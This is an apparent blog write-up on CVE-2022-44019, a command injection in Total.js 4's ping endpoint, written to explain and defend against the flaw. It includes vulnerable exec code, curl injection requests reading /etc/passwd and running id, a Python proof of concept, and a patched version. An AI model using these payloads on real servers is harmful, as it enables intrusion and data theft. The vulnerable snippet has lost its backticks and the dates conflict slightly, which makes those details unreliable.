In November 2022, a critical vulnerability was found in the Total.js 4 framework, before commit e5ace7. This security bug, now known as CVE-2022-44019, lets attackers perform remote command execution (RCE) by sending crafted requests to the /api/common/ping API endpoint. This post dives into how this vulnerability works, shows example exploit code, and provides references for further reading.

What is Total.js?

Total.js is a popular Node.js web application framework. It powers various web services and IoT devices. In many setups, developers use built-in endpoints for diagnostics or network operations, like checking if a host is reachable with a ping.

Overview of the Vulnerability

Vulnerable Endpoint: /api/common/ping
Affected Versions: Total.js 4 before commit e5ace7

The endpoint allows users to "ping" a host specified via a query parameter, for example:
GET /api/common/ping?host=example.com

Inside the handler, the code executes a shell command to run the ping utility with the provided host value. If this user input isn't properly sanitized, an attacker can inject shell metacharacters, causing the server to execute arbitrary system commands.

How Does Exploitation Work?

In secure code, user inputs are "escaped" so special characters can't change the meaning of commands. In the vulnerable code, the host value is directly added to a shell command string, enabling attackers to break out of the expected input and execute their own commands.

Simplified Vulnerable Code

const exec = require('child_process').exec;

function pingHandler(req, res) {
    let host = req.query.host;
    exec(ping -c 4 ${host}, (err, stdout, stderr) => {
        if (err) return res.send(stderr);
        res.send(stdout);
    });
}

If a user makes a safe request with host=example.com, the command becomes

ping -c 4 example.com

But what if the host is something malicious, like

example.com; cat /etc/passwd

The final command would be

ping -c 4 example.com; cat /etc/passwd

Now the server pings example.com and then dumps the contents of /etc/passwd (a sensitive system file) back to the attacker.

Crafting the Exploit

To exploit the bug, just send a crafted request where host contains a shell metacharacter, such as ; or &&. Here’s a curl example that will ask the server to perform an extra command after the ping:

curl 'http://target-server/api/common/ping?host=example.com;id';

This tells the server to execute id after the ping, leaking info about which user the server is running as.

Example: Exfiltrating Sensitive Data

curl 'http://target-server/api/common/ping?host=example.com;cat%20/etc/passwd';

This request would make the server read and return the contents of /etc/passwd (on Unix systems).

Here’s a simple Python PoC that tries to fetch /etc/passwd

import requests

target = "http://target-server/api/common/ping";
malicious_host = "example.com;cat /etc/passwd"
params = {'host': malicious_host}
response = requests.get(target, params=params)
print(response.text)

Responsible Disclosure & Patch

The vulnerability was fixed in commit e5ace7 by sanitizing input and avoiding direct shell execution with user-supplied values.

Upgrade to at least this commit to fix the issue.
Total.js Security Notices

Never pass user input directly to shell commands.

- Use safer alternatives. For example, with Node.js, use the child_process.spawn method with argument arrays instead of string commands.

Example: Safe Code

const { spawn } = require('child_process');

function safePingHandler(req, res) {
    let host = req.query.host;
    // Simple validation: only allow letters, numbers, dots, and dashes
    if (!/^[\w\.\-]+$/.test(host)) {
        return res.status(400).send('Invalid host');
    }
    const ping = spawn('ping', ['-c', '4', host]);
    let output = '';
    ping.stdout.on('data', (data) => output += data);
    ping.on('close', () => res.send(output));
}

References & Further Reading

- GitHub Commit e5ace7 – Fix Shell Injection
- NVD – CVE-2022-44019
- Total.js Official Website
- OWASP Command Injection

Conclusion

CVE-2022-44019 is a real-world example of why careful input handling and secure coding practices are critical in web application development. If you use Total.js, make sure to update to the latest version. Even if you don’t, always sanitize user input, avoid passing raw data to shell commands, and stay alert for new vulnerabilities!

Timeline

Published on: 10/30/2022 00:15:00 UTC
Last modified on: 08/08/2023 14:22:00 UTC